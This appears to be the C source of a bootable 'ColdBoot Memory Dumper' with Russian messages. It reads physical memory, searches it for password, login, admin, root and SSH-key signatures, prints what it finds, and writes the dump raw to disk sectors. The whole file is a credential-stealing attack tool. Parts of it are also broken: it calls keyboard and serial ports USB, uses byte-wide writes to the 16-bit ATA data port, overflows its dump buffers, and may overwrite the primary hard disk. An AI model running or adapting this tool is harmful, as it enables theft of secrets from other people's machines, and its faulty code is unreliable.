typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;

#define VIDEO_MEMORY 0xB8000
#define WHITE_ON_BLACK 0x0F
#define USB_BASE 0x10000000
#define MEM_DUMP_SIZE 0x40000000

static int cursor_pos = 0;

void outb(uint16_t port, uint8_t data) {
    __asm__ volatile ("outb %%al, %%dx" : : "a"(data), "d"(port));
}

uint8_t inb(uint16_t port) {
    uint8_t result;
    __asm__ volatile ("inb %%dx, %%al" : "=a"(result) : "d"(port));
    return result;
}

void print_char(char c) {
    uint16_t *video_mem = (uint16_t*)VIDEO_MEMORY;
    if (c == '\n') {
        cursor_pos = (cursor_pos / 80 + 1) * 80;
    } else {
        video_mem[cursor_pos] = (WHITE_ON_BLACK << 8) | c;
        cursor_pos++;
    }
    if (cursor_pos >= 2000) cursor_pos = 0;
}

void print_string(const char *str) {
    while (*str) {
        print_char(*str++);
    }
}

void print_hex(uint32_t value) {
    char hex_chars[] = "0123456789ABCDEF";
    char buffer[9];
    buffer[8] = 0;
    
    for (int i = 7; i >= 0; i--) {
        buffer[i] = hex_chars[value & 0xF];
        value >>= 4;
    }
    print_string(buffer);
}

void delay(uint32_t count) {
    volatile uint32_t i;
    for (i = 0; i < count * 1000000; i++);
}

uint8_t detect_usb() {
    uint16_t usb_ports[] = {0x60, 0x64, 0x3F8, 0x2F8};
    
    for (int i = 0; i < 4; i++) {
        outb(usb_ports[i], 0xAA);
        delay(1);
        if (inb(usb_ports[i]) == 0xAA) {
            print_string("[+] USB найден на порту: ");
            print_hex(usb_ports[i]);
            print_char('\n');
            return 1;
        }
    }
    return 0;
}

void dump_memory_region(uint32_t start, uint32_t size, uint32_t *usb_buffer) {
    uint32_t *mem_ptr = (uint32_t*)start;
    uint32_t words = size / 4;
    
    print_string("[*] Дампим регион: ");
    print_hex(start);
    print_string(" размер: ");
    print_hex(size);
    print_char('\n');
    
    for (uint32_t i = 0; i < words && i < 0x1000000; i++) {
        usb_buffer[i] = mem_ptr[i];
        
        if (i % 0x100000 == 0) {
            print_char('.');
        }
    }
    print_char('\n');
}

void scan_memory_patterns(uint32_t *buffer, uint32_t size) {
    uint32_t patterns[] = {
        0x70617373,  // "pass"
        0x6C6F6769,  // "logi"  
        0x61646D69,  // "admi"
        0x726F6F74,  // "root"
        0x73736800,  // ssh keys
    };
    
    print_string("[*] Сканирую паттерны...\n");
    
    for (uint32_t i = 0; i < size / 4; i++) {
        for (int p = 0; p < 5; p++) {
            if (buffer[i] == patterns[p]) {
                print_string("[!] Найден паттерн на ");
                print_hex(i * 4);
                print_char('\n');
                
                for (int j = 0; j < 4 && (i + j) < size / 4; j++) {
                    print_hex(buffer[i + j]);
                    print_char(' ');
                }
                print_char('\n');
                break;
            }
        }
    }
}

void write_sector_ata(uint32_t lba, uint8_t *buffer) {
    outb(0x1F6, 0xE0 | ((lba >> 24) & 0x0F));
    
    outb(0x1F2, 1);
    
    // LBA адрес
    outb(0x1F3, lba & 0xFF);
    outb(0x1F4, (lba >> 8) & 0xFF);
    outb(0x1F5, (lba >> 16) & 0xFF);
    
    // Команда записи
    outb(0x1F7, 0x30);
    
    // Ждем готовности
    while ((inb(0x1F7) & 0x80) != 0);
    
    // Записываем 512 байт по 2 байта (256 слов)
    for (int i = 0; i < 256; i++) {
        uint16_t word = buffer[i * 2] | (buffer[i * 2 + 1] << 8);
        outb(0x1F0, word & 0xFF);
        outb(0x1F0, (word >> 8) & 0xFF);
    }
    
    // Ждем завершения записи
    while ((inb(0x1F7) & 0x08) == 0);
}

void save_dump_to_usb(uint32_t *memory_dump, uint32_t size) {
    print_string("[*] Сохраняю дамп на USB раздел 2 (RAW)...\n");
    
    uint32_t sectors_needed = (size * 4 + 511) / 512;
    uint32_t start_lba = 20480;  // Начало второго раздела (~10MB)
    
    uint8_t *sector_buffer = (uint8_t*)0x400000;
    
    // Создаем заголовок дампа в первом секторе
    for (int i = 0; i < 512; i++) sector_buffer[i] = 0;
    
    // Магическая сигнатура "YACBA" + версия
    sector_buffer[0] = 'Y';
    sector_buffer[1] = 'A'; 
    sector_buffer[2] = 'C';
    sector_buffer[3] = 'B';
    sector_buffer[4] = 'A';
    sector_buffer[5] = 0x01;  // версия
    
    // Размер дампа (4 байта little endian)
    uint32_t dump_size = size * 4;
    sector_buffer[8] = dump_size & 0xFF;
    sector_buffer[9] = (dump_size >> 8) & 0xFF;
    sector_buffer[10] = (dump_size >> 16) & 0xFF;
    sector_buffer[11] = (dump_size >> 24) & 0xFF;
    
    // Количество секторов данных
    sector_buffer[12] = sectors_needed & 0xFF;
    sector_buffer[13] = (sectors_needed >> 8) & 0xFF;
    sector_buffer[14] = (sectors_needed >> 16) & 0xFF;
    sector_buffer[15] = (sectors_needed >> 24) & 0xFF;
    
    print_string("[*] Записываю заголовок...\n");
    write_sector_ata(start_lba, sector_buffer);
    
    print_string("[*] Записываю данные дампа...\n");
    for (uint32_t sector = 0; sector < sectors_needed; sector++) {
        for (int i = 0; i < 512; i++) {
            sector_buffer[i] = 0;
        }
        
        uint32_t words_in_sector = 128;
        if ((sector + 1) * 128 > size) {
            words_in_sector = size - sector * 128;
        }
        
        for (uint32_t w = 0; w < words_in_sector; w++) {
            uint32_t data = memory_dump[sector * 128 + w];
            sector_buffer[w * 4] = data & 0xFF;
            sector_buffer[w * 4 + 1] = (data >> 8) & 0xFF;
            sector_buffer[w * 4 + 2] = (data >> 16) & 0xFF;
            sector_buffer[w * 4 + 3] = (data >> 24) & 0xFF;
        }
        
        write_sector_ata(start_lba + 1 + sector, sector_buffer);
        
        if (sector % 100 == 0) {
            print_char('.');
        }
    }
    
    print_string("\n[+] Дамп сохранен на USB!\n");
    print_string("[*] Секторов записано: ");
    print_hex(sectors_needed);
    print_string("\n[*] Начальный LBA: ");
    print_hex(start_lba);
    print_char('\n');
}

void main() {
    uint32_t *memory_dump = (uint32_t*)0x200000;
    
    print_string("=== ColdBoot Memory Dumper ===\n");
    print_string("[*] Autonomous USB boot system\n");
    
    print_string("[*] Инициализация...\n");
    delay(2);
    
    if (!detect_usb()) {
        print_string("[-] USB не найден, используем внутренний буфер\n");
    }
    
    print_string("[*] Начинаю сканирование памяти...\n");
    
    dump_memory_region(0x100000, 0x100000, memory_dump);
    dump_memory_region(0x1000000, 0x1000000, memory_dump + 0x40000);
    dump_memory_region(0x10000000, 0x2000000, memory_dump + 0x80000);
    
    print_string("[*] Анализ паттернов...\n");
    scan_memory_patterns(memory_dump, 0x400000);
    
    save_dump_to_usb(memory_dump, 0x100000);
    
    print_string("\n[+] Дамп завершен!\n");
    print_string("[*] Данные сохранены на USB раздел 2\n");
    print_string("[*] Безопасно извлекайте флешку\n");
    
    while(1) {
        delay(1000);
        print_char('.');
    }
}